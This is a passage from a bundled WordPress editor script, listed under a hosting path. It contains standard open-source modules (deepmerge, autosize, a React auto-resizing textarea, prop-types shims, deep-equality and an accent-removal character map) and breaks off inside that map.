/home/idolaotomotif/public_html/wp-includes__430cdfa/js/dist/editor.js
/******/ (() => { // webpackBootstrap
/******/ 	var __webpack_modules__ = ({

/***/ 66:
/***/ ((module) => {

"use strict";


var isMergeableObject = function isMergeableObject(value) {
	return isNonNullObject(value)
		&& !isSpecial(value)
};

function isNonNullObject(value) {
	return !!value && typeof value === 'object'
}

function isSpecial(value) {
	var stringValue = Object.prototype.toString.call(value);

	return stringValue === '[object RegExp]'
		|| stringValue === '[object Date]'
		|| isReactElement(value)
}

// see https://github.com/facebook/react/blob/b5ac963fb791d1298e7f396236383bc955f916c1/src/isomorphic/classic/element/ReactElement.js#L21-L25
var canUseSymbol = typeof Symbol === 'function' && Symbol.for;
var REACT_ELEMENT_TYPE = canUseSymbol ? Symbol.for('react.element') : 0xeac7;

function isReactElement(value) {
	return value.$$typeof === REACT_ELEMENT_TYPE
}

function emptyTarget(val) {
	return Array.isArray(val) ? [] : {}
}

function cloneUnlessOtherwiseSpecified(value, options) {
	return (options.clone !== false && options.isMergeableObject(value))
		? deepmerge(emptyTarget(value), value, options)
		: value
}

function defaultArrayMerge(target, source, options) {
	return target.concat(source).map(function(element) {
		return cloneUnlessOtherwiseSpecified(element, options)
	})
}

function getMergeFunction(key, options) {
	if (!options.customMerge) {
		return deepmerge
	}
	var customMerge = options.customMerge(key);
	return typeof customMerge === 'function' ? customMerge : deepmerge
}

function getEnumerableOwnPropertySymbols(target) {
	return Object.getOwnPropertySymbols
		? Object.getOwnPropertySymbols(target).filter(function(symbol) {
			return Object.propertyIsEnumerable.call(target, symbol)
		})
		: []
}

function getKeys(target) {
	return Object.keys(target).concat(getEnumerableOwnPropertySymbols(target))
}

function propertyIsOnObject(object, property) {
	try {
		return property in object
	} catch(_) {
		return false
	}
}

// Protects from prototype poisoning and unexpected merging up the prototype chain.
function propertyIsUnsafe(target, key) {
	return propertyIsOnObject(target, key) // Properties are safe to merge if they don't exist in the target yet,
		&& !(Object.hasOwnProperty.call(target, key) // unsafe if they exist up the prototype chain,
			&& Object.propertyIsEnumerable.call(target, key)) // and also unsafe if they're nonenumerable.
}

function mergeObject(target, source, options) {
	var destination = {};
	if (options.isMergeableObject(target)) {
		getKeys(target).forEach(function(key) {
			destination[key] = cloneUnlessOtherwiseSpecified(target[key], options);
		});
	}
	getKeys(source).forEach(function(key) {
		if (propertyIsUnsafe(target, key)) {
			return
		}

		if (propertyIsOnObject(target, key) && options.isMergeableObject(source[key])) {
			destination[key] = getMergeFunction(key, options)(target[key], source[key], options);
		} else {
			destination[key] = cloneUnlessOtherwiseSpecified(source[key], options);
		}
	});
	return destination
}

function deepmerge(target, source, options) {
	options = options || {};
	options.arrayMerge = options.arrayMerge || defaultArrayMerge;
	options.isMergeableObject = options.isMergeableObject || isMergeableObject;
	// cloneUnlessOtherwiseSpecified is added to `options` so that custom arrayMerge()
	// implementations can use it. The caller may not replace it.
	options.cloneUnlessOtherwiseSpecified = cloneUnlessOtherwiseSpecified;

	var sourceIsArray = Array.isArray(source);
	var targetIsArray = Array.isArray(target);
	var sourceAndTargetTypesMatch = sourceIsArray === targetIsArray;

	if (!sourceAndTargetTypesMatch) {
		return cloneUnlessOtherwiseSpecified(source, options)
	} else if (sourceIsArray) {
		return options.arrayMerge(target, source, options)
	} else {
		return mergeObject(target, source, options)
	}
}

deepmerge.all = function deepmergeAll(array, options) {
	if (!Array.isArray(array)) {
		throw new Error('first argument should be an array')
	}

	return array.reduce(function(prev, next) {
		return deepmerge(prev, next, options)
	}, {})
};

var deepmerge_1 = deepmerge;

module.exports = deepmerge_1;


/***/ }),

/***/ 461:
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {

// Load in dependencies
var computedStyle = __webpack_require__(6109);

/**
 * Calculate the `line-height` of a given node
 * @param {HTMLElement} node Element to calculate line height of. Must be in the DOM.
 * @returns {Number} `line-height` of the element in pixels
 */
function lineHeight(node) {
  // Grab the line-height via style
  var lnHeightStr = computedStyle(node, 'line-height');
  var lnHeight = parseFloat(lnHeightStr, 10);

  // If the lineHeight did not contain a unit (i.e. it was numeric), convert it to ems (e.g. '2.3' === '2.3em')
  if (lnHeightStr === lnHeight + '') {
    // Save the old lineHeight style and update the em unit to the element
    var _lnHeightStyle = node.style.lineHeight;
    node.style.lineHeight = lnHeightStr + 'em';

    // Calculate the em based height
    lnHeightStr = computedStyle(node, 'line-height');
    lnHeight = parseFloat(lnHeightStr, 10);

    // Revert the lineHeight style
    if (_lnHeightStyle) {
      node.style.lineHeight = _lnHeightStyle;
    } else {
      delete node.style.lineHeight;
    }
  }

  // If the lineHeight is in `pt`, convert it to pixels (4px for 3pt)
  // DEV: `em` units are converted to `pt` in IE6
  // Conversion ratio from https://developer.mozilla.org/en-US/docs/Web/CSS/length
  if (lnHeightStr.indexOf('pt') !== -1) {
    lnHeight *= 4;
    lnHeight /= 3;
  // Otherwise, if the lineHeight is in `mm`, convert it to pixels (96px for 25.4mm)
  } else if (lnHeightStr.indexOf('mm') !== -1) {
    lnHeight *= 96;
    lnHeight /= 25.4;
  // Otherwise, if the lineHeight is in `cm`, convert it to pixels (96px for 2.54cm)
  } else if (lnHeightStr.indexOf('cm') !== -1) {
    lnHeight *= 96;
    lnHeight /= 2.54;
  // Otherwise, if the lineHeight is in `in`, convert it to pixels (96px for 1in)
  } else if (lnHeightStr.indexOf('in') !== -1) {
    lnHeight *= 96;
  // Otherwise, if the lineHeight is in `pc`, convert it to pixels (12pt for 1pc)
  } else if (lnHeightStr.indexOf('pc') !== -1) {
    lnHeight *= 16;
  }

  // Continue our computation
  lnHeight = Math.round(lnHeight);

  // If the line-height is "normal", calculate by font-size
  if (lnHeightStr === 'normal') {
    // Create a temporary node
    var nodeName = node.nodeName;
    var _node = document.createElement(nodeName);
    _node.innerHTML = ' ';

    // If we have a text area, reset it to only 1 row
    // https://github.com/twolfson/line-height/issues/4
    if (nodeName.toUpperCase() === 'TEXTAREA') {
      _node.setAttribute('rows', '1');
    }

    // Set the font-size of the element
    var fontSizeStr = computedStyle(node, 'font-size');
    _node.style.fontSize = fontSizeStr;

    // Remove default padding/border which can affect offset height
    // https://github.com/twolfson/line-height/issues/4
    // https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/offsetHeight
    _node.style.padding = '0px';
    _node.style.border = '0px';

    // Append it to the body
    var body = document.body;
    body.appendChild(_node);

    // Assume the line height of the element is the height
    var height = _node.offsetHeight;
    lnHeight = height;

    // Remove our child from the DOM
    body.removeChild(_node);
  }

  // Return the calculated height
  return lnHeight;
}

// Export lineHeight
module.exports = lineHeight;


/***/ }),

/***/ 628:
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {

"use strict";
/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



var ReactPropTypesSecret = __webpack_require__(4067);

function emptyFunction() {}
function emptyFunctionWithReset() {}
emptyFunctionWithReset.resetWarningCache = emptyFunction;

module.exports = function() {
  function shim(props, propName, componentName, location, propFullName, secret) {
    if (secret === ReactPropTypesSecret) {
      // It is still safe when called from React.
      return;
    }
    var err = new Error(
      'Calling PropTypes validators directly is not supported by the `prop-types` package. ' +
      'Use PropTypes.checkPropTypes() to call them. ' +
      'Read more at http://fb.me/use-check-prop-types'
    );
    err.name = 'Invariant Violation';
    throw err;
  };
  shim.isRequired = shim;
  function getShim() {
    return shim;
  };
  // Important!
  // Keep this list in sync with production version in `./factoryWithTypeCheckers.js`.
  var ReactPropTypes = {
    array: shim,
    bigint: shim,
    bool: shim,
    func: shim,
    number: shim,
    object: shim,
    string: shim,
    symbol: shim,

    any: shim,
    arrayOf: getShim,
    element: shim,
    elementType: shim,
    instanceOf: getShim,
    node: shim,
    objectOf: getShim,
    oneOf: getShim,
    oneOfType: getShim,
    shape: getShim,
    exact: getShim,

    checkPropTypes: emptyFunctionWithReset,
    resetWarningCache: emptyFunction
  };

  ReactPropTypes.PropTypes = ReactPropTypes;

  return ReactPropTypes;
};


/***/ }),

/***/ 1609:
/***/ ((module) => {

"use strict";
module.exports = window["React"];

/***/ }),

/***/ 4067:
/***/ ((module) => {

"use strict";
/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */



var ReactPropTypesSecret = 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED';

module.exports = ReactPropTypesSecret;


/***/ }),

/***/ 4132:
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {

"use strict";
var __webpack_unused_export__;

__webpack_unused_export__ = true;
var TextareaAutosize_1 = __webpack_require__(4462);
exports.A = TextareaAutosize_1.TextareaAutosize;


/***/ }),

/***/ 4306:
/***/ (function(module, exports) {

var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*!
	autosize 4.0.4
	license: MIT
	http://www.jacklmoore.com/autosize
*/
(function (global, factory) {
	if (true) {
		!(__WEBPACK_AMD_DEFINE_ARRAY__ = [module, exports], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory),
		__WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ?
		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
	} else { var mod; }
})(this, function (module, exports) {
	'use strict';

	var map = typeof Map === "function" ? new Map() : function () {
		var keys = [];
		var values = [];

		return {
			has: function has(key) {
				return keys.indexOf(key) > -1;
			},
			get: function get(key) {
				return values[keys.indexOf(key)];
			},
			set: function set(key, value) {
				if (keys.indexOf(key) === -1) {
					keys.push(key);
					values.push(value);
				}
			},
			delete: function _delete(key) {
				var index = keys.indexOf(key);
				if (index > -1) {
					keys.splice(index, 1);
					values.splice(index, 1);
				}
			}
		};
	}();

	var createEvent = function createEvent(name) {
		return new Event(name, { bubbles: true });
	};
	try {
		new Event('test');
	} catch (e) {
		// IE does not support `new Event()`
		createEvent = function createEvent(name) {
			var evt = document.createEvent('Event');
			evt.initEvent(name, true, false);
			return evt;
		};
	}

	function assign(ta) {
		if (!ta || !ta.nodeName || ta.nodeName !== 'TEXTAREA' || map.has(ta)) return;

		var heightOffset = null;
		var clientWidth = null;
		var cachedHeight = null;

		function init() {
			var style = window.getComputedStyle(ta, null);

			if (style.resize === 'vertical') {
				ta.style.resize = 'none';
			} else if (style.resize === 'both') {
				ta.style.resize = 'horizontal';
			}

			if (style.boxSizing === 'content-box') {
				heightOffset = -(parseFloat(style.paddingTop) + parseFloat(style.paddingBottom));
			} else {
				heightOffset = parseFloat(style.borderTopWidth) + parseFloat(style.borderBottomWidth);
			}
			// Fix when a textarea is not on document body and heightOffset is Not a Number
			if (isNaN(heightOffset)) {
				heightOffset = 0;
			}

			update();
		}

		function changeOverflow(value) {
			{
				// Chrome/Safari-specific fix:
				// When the textarea y-overflow is hidden, Chrome/Safari do not reflow the text to account for the space
				// made available by removing the scrollbar. The following forces the necessary text reflow.
				var width = ta.style.width;
				ta.style.width = '0px';
				// Force reflow:
				/* jshint ignore:start */
				ta.offsetWidth;
				/* jshint ignore:end */
				ta.style.width = width;
			}

			ta.style.overflowY = value;
		}

		function getParentOverflows(el) {
			var arr = [];

			while (el && el.parentNode && el.parentNode instanceof Element) {
				if (el.parentNode.scrollTop) {
					arr.push({
						node: el.parentNode,
						scrollTop: el.parentNode.scrollTop
					});
				}
				el = el.parentNode;
			}

			return arr;
		}

		function resize() {
			if (ta.scrollHeight === 0) {
				// If the scrollHeight is 0, then the element probably has display:none or is detached from the DOM.
				return;
			}

			var overflows = getParentOverflows(ta);
			var docTop = document.documentElement && document.documentElement.scrollTop; // Needed for Mobile IE (ticket #240)

			ta.style.height = '';
			ta.style.height = ta.scrollHeight + heightOffset + 'px';

			// used to check if an update is actually necessary on window.resize
			clientWidth = ta.clientWidth;

			// prevents scroll-position jumping
			overflows.forEach(function (el) {
				el.node.scrollTop = el.scrollTop;
			});

			if (docTop) {
				document.documentElement.scrollTop = docTop;
			}
		}

		function update() {
			resize();

			var styleHeight = Math.round(parseFloat(ta.style.height));
			var computed = window.getComputedStyle(ta, null);

			// Using offsetHeight as a replacement for computed.height in IE, because IE does not account use of border-box
			var actualHeight = computed.boxSizing === 'content-box' ? Math.round(parseFloat(computed.height)) : ta.offsetHeight;

			// The actual height not matching the style height (set via the resize method) indicates that 
			// the max-height has been exceeded, in which case the overflow should be allowed.
			if (actualHeight < styleHeight) {
				if (computed.overflowY === 'hidden') {
					changeOverflow('scroll');
					resize();
					actualHeight = computed.boxSizing === 'content-box' ? Math.round(parseFloat(window.getComputedStyle(ta, null).height)) : ta.offsetHeight;
				}
			} else {
				// Normally keep overflow set to hidden, to avoid flash of scrollbar as the textarea expands.
				if (computed.overflowY !== 'hidden') {
					changeOverflow('hidden');
					resize();
					actualHeight = computed.boxSizing === 'content-box' ? Math.round(parseFloat(window.getComputedStyle(ta, null).height)) : ta.offsetHeight;
				}
			}

			if (cachedHeight !== actualHeight) {
				cachedHeight = actualHeight;
				var evt = createEvent('autosize:resized');
				try {
					ta.dispatchEvent(evt);
				} catch (err) {
					// Firefox will throw an error on dispatchEvent for a detached element
					// https://bugzilla.mozilla.org/show_bug.cgi?id=889376
				}
			}
		}

		var pageResize = function pageResize() {
			if (ta.clientWidth !== clientWidth) {
				update();
			}
		};

		var destroy = function (style) {
			window.removeEventListener('resize', pageResize, false);
			ta.removeEventListener('input', update, false);
			ta.removeEventListener('keyup', update, false);
			ta.removeEventListener('autosize:destroy', destroy, false);
			ta.removeEventListener('autosize:update', update, false);

			Object.keys(style).forEach(function (key) {
				ta.style[key] = style[key];
			});

			map.delete(ta);
		}.bind(ta, {
			height: ta.style.height,
			resize: ta.style.resize,
			overflowY: ta.style.overflowY,
			overflowX: ta.style.overflowX,
			wordWrap: ta.style.wordWrap
		});

		ta.addEventListener('autosize:destroy', destroy, false);

		// IE9 does not fire onpropertychange or oninput for deletions,
		// so binding to onkeyup to catch most of those events.
		// There is no way that I know of to detect something like 'cut' in IE9.
		if ('onpropertychange' in ta && 'oninput' in ta) {
			ta.addEventListener('keyup', update, false);
		}

		window.addEventListener('resize', pageResize, false);
		ta.addEventListener('input', update, false);
		ta.addEventListener('autosize:update', update, false);
		ta.style.overflowX = 'hidden';
		ta.style.wordWrap = 'break-word';

		map.set(ta, {
			destroy: destroy,
			update: update
		});

		init();
	}

	function destroy(ta) {
		var methods = map.get(ta);
		if (methods) {
			methods.destroy();
		}
	}

	function update(ta) {
		var methods = map.get(ta);
		if (methods) {
			methods.update();
		}
	}

	var autosize = null;

	// Do nothing in Node.js environment and IE8 (or lower)
	if (typeof window === 'undefined' || typeof window.getComputedStyle !== 'function') {
		autosize = function autosize(el) {
			return el;
		};
		autosize.destroy = function (el) {
			return el;
		};
		autosize.update = function (el) {
			return el;
		};
	} else {
		autosize = function autosize(el, options) {
			if (el) {
				Array.prototype.forEach.call(el.length ? el : [el], function (x) {
					return assign(x, options);
				});
			}
			return el;
		};
		autosize.destroy = function (el) {
			if (el) {
				Array.prototype.forEach.call(el.length ? el : [el], destroy);
			}
			return el;
		};
		autosize.update = function (el) {
			if (el) {
				Array.prototype.forEach.call(el.length ? el : [el], update);
			}
			return el;
		};
	}

	exports.default = autosize;
	module.exports = exports['default'];
});

/***/ }),

/***/ 4462:
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {

"use strict";

var __extends = (this && this.__extends) || (function () {
    var extendStatics = Object.setPrototypeOf ||
        ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
        function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
    return function (d, b) {
        extendStatics(d, b);
        function __() { this.constructor = d; }
        d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
    };
})();
var __assign = (this && this.__assign) || Object.assign || function(t) {
    for (var s, i = 1, n = arguments.length; i < n; i++) {
        s = arguments[i];
        for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
            t[p] = s[p];
    }
    return t;
};
var __rest = (this && this.__rest) || function (s, e) {
    var t = {};
    for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)
        t[p] = s[p];
    if (s != null && typeof Object.getOwnPropertySymbols === "function")
        for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) if (e.indexOf(p[i]) < 0)
            t[p[i]] = s[p[i]];
    return t;
};
exports.__esModule = true;
var React = __webpack_require__(1609);
var PropTypes = __webpack_require__(5826);
var autosize = __webpack_require__(4306);
var _getLineHeight = __webpack_require__(461);
var getLineHeight = _getLineHeight;
var RESIZED = "autosize:resized";
/**
 * A light replacement for built-in textarea component
 * which automaticaly adjusts its height to match the content
 */
var TextareaAutosizeClass = /** @class */ (function (_super) {
    __extends(TextareaAutosizeClass, _super);
    function TextareaAutosizeClass() {
        var _this = _super !== null && _super.apply(this, arguments) || this;
        _this.state = {
            lineHeight: null
        };
        _this.textarea = null;
        _this.onResize = function (e) {
            if (_this.props.onResize) {
                _this.props.onResize(e);
            }
        };
        _this.updateLineHeight = function () {
            if (_this.textarea) {
                _this.setState({
                    lineHeight: getLineHeight(_this.textarea)
                });
            }
        };
        _this.onChange = function (e) {
            var onChange = _this.props.onChange;
            _this.currentValue = e.currentTarget.value;
            onChange && onChange(e);
        };
        return _this;
    }
    TextareaAutosizeClass.prototype.componentDidMount = function () {
        var _this = this;
        var _a = this.props, maxRows = _a.maxRows, async = _a.async;
        if (typeof maxRows === "number") {
            this.updateLineHeight();
        }
        if (typeof maxRows === "number" || async) {
            /*
              the defer is needed to:
                - force "autosize" to activate the scrollbar when this.props.maxRows is passed
                - support StyledComponents (see #71)
            */
            setTimeout(function () { return _this.textarea && autosize(_this.textarea); });
        }
        else {
            this.textarea && autosize(this.textarea);
        }
        if (this.textarea) {
            this.textarea.addEventListener(RESIZED, this.onResize);
        }
    };
    TextareaAutosizeClass.prototype.componentWillUnmount = function () {
        if (this.textarea) {
            this.textarea.removeEventListener(RESIZED, this.onResize);
            autosize.destroy(this.textarea);
        }
    };
    TextareaAutosizeClass.prototype.render = function () {
        var _this = this;
        var _a = this, _b = _a.props, onResize = _b.onResize, maxRows = _b.maxRows, onChange = _b.onChange, style = _b.style, innerRef = _b.innerRef, children = _b.children, props = __rest(_b, ["onResize", "maxRows", "onChange", "style", "innerRef", "children"]), lineHeight = _a.state.lineHeight;
        var maxHeight = maxRows && lineHeight ? lineHeight * maxRows : null;
        return (React.createElement("textarea", __assign({}, props, { onChange: this.onChange, style: maxHeight ? __assign({}, style, { maxHeight: maxHeight }) : style, ref: function (element) {
                _this.textarea = element;
                if (typeof _this.props.innerRef === 'function') {
                    _this.props.innerRef(element);
                }
                else if (_this.props.innerRef) {
                    _this.props.innerRef.current = element;
                }
            } }), children));
    };
    TextareaAutosizeClass.prototype.componentDidUpdate = function () {
        this.textarea && autosize.update(this.textarea);
    };
    TextareaAutosizeClass.defaultProps = {
        rows: 1,
        async: false
    };
    TextareaAutosizeClass.propTypes = {
        rows: PropTypes.number,
        maxRows: PropTypes.number,
        onResize: PropTypes.func,
        innerRef: PropTypes.any,
        async: PropTypes.bool
    };
    return TextareaAutosizeClass;
}(React.Component));
exports.TextareaAutosize = React.forwardRef(function (props, ref) {
    return React.createElement(TextareaAutosizeClass, __assign({}, props, { innerRef: ref }));
});


/***/ }),

/***/ 5215:
/***/ ((module) => {

"use strict";


// do not edit .js files directly - edit src/index.jst



module.exports = function equal(a, b) {
  if (a === b) return true;

  if (a && b && typeof a == 'object' && typeof b == 'object') {
    if (a.constructor !== b.constructor) return false;

    var length, i, keys;
    if (Array.isArray(a)) {
      length = a.length;
      if (length != b.length) return false;
      for (i = length; i-- !== 0;)
        if (!equal(a[i], b[i])) return false;
      return true;
    }



    if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;
    if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();
    if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();

    keys = Object.keys(a);
    length = keys.length;
    if (length !== Object.keys(b).length) return false;

    for (i = length; i-- !== 0;)
      if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;

    for (i = length; i-- !== 0;) {
      var key = keys[i];

      if (!equal(a[key], b[key])) return false;
    }

    return true;
  }

  // true if both NaN, false otherwise
  return a!==a && b!==b;
};


/***/ }),

/***/ 5826:
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {

/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */

if (false) { var throwOnDirectAccess, ReactIs; } else {
  // By explicitly using `prop-types` you are opting into new production behavior.
  // http://fb.me/prop-types-in-prod
  module.exports = __webpack_require__(628)();
}


/***/ }),

/***/ 6109:
/***/ ((module) => {

// This code has been refactored for 140 bytes
// You can see the original here: https://github.com/twolfson/computedStyle/blob/04cd1da2e30fa45844f95f5cb1ac898e9b9ef050/lib/computedStyle.js
var computedStyle = function (el, prop, getComputedStyle) {
  getComputedStyle = window.getComputedStyle;

  // In one fell swoop
  return (
    // If we have getComputedStyle
    getComputedStyle ?
      // Query it
      // TODO: From CSS-Query notes, we might need (node, null) for FF
      getComputedStyle(el) :

    // Otherwise, we are in IE and use currentStyle
      el.currentStyle
  )[
    // Switch to camelCase for CSSOM
    // DEV: Grabbed from jQuery
    // https://github.com/jquery/jquery/blob/1.9-stable/src/css.js#L191-L194
    // https://github.com/jquery/jquery/blob/1.9-stable/src/core.js#L593-L597
    prop.replace(/-(\w)/gi, function (word, letter) {
      return letter.toUpperCase();
    })
  ];
};

module.exports = computedStyle;


/***/ }),

/***/ 9681:
/***/ ((module) => {

var characterMap = {
	"À": "A",
	"Á": "A",
	"Â": "A",
	"Ã": "A",
	"Ä": "A",
	"Å": "A",
	"Ấ": "A",
	"Ắ": "A",
	"Ẳ": "A",
	"Ẵ": "A",
	"Ặ": "A",
	"Æ": "AE",
	"Ầ": "A",
	"Ằ": "A",
	"Ȃ": "A",
	"Ả": "A",
	"Ạ": "A",
	"Ẩ": "A",
	"Ẫ": "A",
	"Ậ": "A",
	"Ç": "C",
	"Ḉ": "C",
	"È": "E",
	"É": "E",
	"Ê": "E",
	"Ë": "E",
	"Ế": "E",
	"Ḗ": "E",
	"Ề": "E",
	"Ḕ": "E",
	"Ḝ": "E",
	"Ȇ": "E",
	"Ẻ": "E",
	"Ẽ": "E",
	"Ẹ": "E",
	"Ể": "E",
	"Ễ": "E",
	"Ệ": "E",
	"Ì": "I",
	"Í": "I",
	"Î": "I",
	"Ï": "I",
	"Ḯ": "I",
	"Ȋ": "I",
	"Ỉ": "I",
	"Ị": "I",
	"Ð": "D",
	"Ñ": "N",
	"Ò": "O",
	"Ó": "O",
	"Ô": "O",
	"Õ": "O",
	"Ö": "O",
	"Ø": "O",
	"Ố": "O",
	"Ṍ": "O",
	"Ṓ": "O",
	"Ȏ": "O",
	"Ỏ": "O",
	"Ọ": "O",
	"Ổ": "O",
	"Ỗ": "O",
	"Ộ": "O",
	"Ờ": "O",
	"Ở": "O",
	"Ỡ": "O",
	"Ớ": "O",
	"Ợ": "O",
	"Ù": "U",
	"Ú": "U",
	"Û": "U",
	"Ü": "U",
	"Ủ": "U",
	"Ụ": "U",
	"Ử": "U",
	"Ữ": "U",
	"Ự": "U",
	"Ý": "Y",
	"à": "a",
	"á": "a",
	"â": "a",
	"ã": "a",
	"ä": "a",
	"å": "a",
	"ấ": "a",
	"ắ": "a",
	"ẳ": "a",
	"ẵ": "a",
	"ặ": "a",
	"æ": "ae",
	"ầ": "a",
	"ằ": "a",
	"ȃ": "a",
	"ả": "a",
	"ạ": "a",
	"ẩ": "a",
	"ẫ": "a",
	"ậ": "a",
	"ç": "c",
	"ḉ": "c",
	"è": "e",
	"é": "e",
	"ê": "e",
	"ë": "e",
	"ế": "e",
	"ḗ": "e",
	"ề": "e",
	"ḕ": "e",
	"ḝ": "e",
	"ȇ": "e",
	"ẻ": "e",
	"ẽ": "e",
	"ẹ": "e",
	"ể": "e",
	"ễ": "e",
	"ệ": "e",
	"ì": "i",
	"í": "i",
	"î": "i",
	"ï": "i",
	"ḯ": "i",
	"ȋ": "i",
	"ỉ": "i",
	"ị": "i",
	"ð": "d",
	"ñ": "n",
	"ò": "o",
	"ó": "o",
	"ô": "o",
	"õ": "o",
	"ö": "o",
	"ø": "o",
	"ố": "o",
	"ṍ": "o",
	"ṓ": "o",
	"ȏ": "o",
	"ỏ": "o",
	"ọ": "o",
	"ổ": "o",
	"ỗ": "o",
	"ộ": "o",
	"ờ": "o",
	"ở": "o",
	"ỡ": "o",
	"ớ": "o",
	"ợ": "o",
	"ù": "u",
	"ú": "u",
	"û": "u",
	"ü": "u",
	"ủ": "u",
	"ụ": "u",
	"ử": "u",
	"ữ": "u",
	"ự": "u",
	"ý": "y",
	"ÿ": "y",
	"Ā": "A",
	"ā": "a",
	"Ă": "A",
	"ă": "a",
	"Ą": "A",
	"ą": "a",
	"Ć": "C",
	"ć": "c",
	"Ĉ": "C",
	"ĉ": "c",
	"Ċ": "C",
	"ċ": "c",
	"Č": "C",
	"č": "c",
	"C̆": "C",
	"c̆": "c",
	"Ď": "D",
	"ď": "d",
	"Đ": "D",
	"đ": "d",
	"Ē": "E",
	"ē": "e",
	"Ĕ": "E",
	"ĕ": "e",
	"Ė": "E",
	"ė": "e",
	"Ę": "E",
	"ę": "e",
	"Ě": "E",
	"ě": "e",
	"Ĝ": "G",
	"Ǵ": "G",
	"ĝ": "g",
	"ǵ": "g",
	"Ğ": "G",
	"ğ": "g",
	"Ġ": "G",
	"ġ": "g",
	"Ģ": "G",
	"ģ": "g",
	"Ĥ": "H",
	"ĥ": "h",
	"Ħ": "H",
	"ħ": "h",
	"Ḫ": "H",
	"ḫ": "h",
	"Ĩ": "I",
	"ĩ": "i",
	"Ī": "I",
	"ī": "i",
	"Ĭ": "I",
	"ĭ": "i",
	"Į": "I",
	"į": "i",
	"İ": "I",
	"ı": "i",
	"IJ": "IJ",
	"ij": "ij",
	"Ĵ": "J",
	"ĵ": "j",
	"Ķ": "K",
	"ķ": "k",
	"Ḱ": "K",
	"ḱ": "k",
	"K̆": "K",
	"k̆": "k",
	"Ĺ": "L",
	"ĺ": "l",
	"Ļ": "L",
	"ļ": "l",
	"Ľ": "L",
	"ľ": "l",
	"Ŀ": "L",
	"ŀ": "l",
	"Ł": "l",
	"ł": "l",
	"Ḿ": "M",
	"ḿ": "m",
	"M̆": "M",
	"m̆": "m",
	"Ń": "N",
	"ń": "n",
	"Ņ": "N",
	"ņ": "n",
	"Ň": "N",
	"ň": "n",
	"ʼn": "n",
	"N̆": "N",
	"n̆": "n",
	"Ō": "O",
	"ō": "o",
	"Ŏ": "O",
	"ŏ": "o",
	"Ő": "O",
	"ő": "o",
	"Œ": "OE",
	"œ": "oe",
	"P̆": "P",
	"p̆": "p",
	"Ŕ": "R",
	"ŕ": "r",
	"Ŗ": "R",
	"ŗ": "r",
	"Ř": "R",
	"ř": "r",
	"R̆": "R",
	"r̆": "r",
	"Ȓ": "R",
	"ȓ": "r",
	"Ś": "S",
	"ś": "s",
	"Ŝ": "S",
	"ŝ": "s",
	"Ş": "S",
	"Ș": "S",
	"ș": "s",
	"ş": "s",
	"Š": "S",
	"š": "s",
	"Ţ": "T",
	"ţ": "t",
	"ț": "t",
	"Ț": "T",
	"Ť": "T",
	"ť": "t",
	"Ŧ": "T",
	"ŧ": "t",
	"T̆": "T",
	"t̆": "t",
	"Ũ": "U",
	"ũ": "u",
	"Ū": "U",
	"ū": "u",
	"Ŭ": "U",
	"ŭ": "u",
	"Ů": "U",
	"ů": "u",
	"Ű": "U",
	"ű": "u",
	"Ų": "U",
	"ų": "u",
	"Ȗ": "U",
	"ȗ": "u",
	"V̆": "V",
	"v̆": "v",
	"Ŵ": "W",
	"ŵ": "w",
	"Ẃ": "W",
	"ẃ": "w",
	"X̆": "X",
	"x̆": "x",
	"Ŷ": "Y",
	"ŷ": "y",
	"Ÿ": "Y",
	"Y̆": "Y",
	"y̆": "y",
	"Ź": "Z",
	"ź": "z",
	"Ż": "Z",
	"ż": "z",
	"Ž": "Z",
	"ž": "z",
	"ſ": "s",
	"ƒ": "f",
	"Ơ": "O",
	"ơ": "o",
	"Ư": "U",
	"ư": "u",
	"Ǎ": "A",
	"ǎ": "a",
	"Ǐ": "I",
	"ǐ": "i",
	"Ǒ": "O",
	"ǒ": "o",
	"Ǔ": "U",
	"ǔ": "u",
	"Ǖ": "U",
	"ǖ": "u",
	"Ǘ": "U",
	"ǘ": "u",
	"Ǚ": "U",
	"ǚ": "u",
	"Ǜ": "U",
	"ǜ": "u",
	"Ứ": "U",
	"ứ": "u",
	"Ṹ": "U",
	"ṹ": "u",
	"Ǻ": "A",
	"ǻ": "a",
	"Ǽ": "AE",
	"ǽ": "ae",
	"Ǿ": "O",
	"ǿ": "o",
	"Þ": "TH",
	"þ": "th",
	"Ṕ": "P",
	"ṕ": "p",
	"Ṥ": "S",
	"ṥ": "s",
	"X́": "X",
	"x́": "x",
	"Ѓ": "Г",
	"ѓ": "г",
	"Ќ": "К",
	"ќ": "к",
	"A̋": "A",
	"a̋": "a",
	"E̋": "E",
	"e̋": "e",
	"I̋": "I",
	"i̋": "i",
	"Ǹ": "N",
	"ǹ": "n",
	"Ồ": "O",
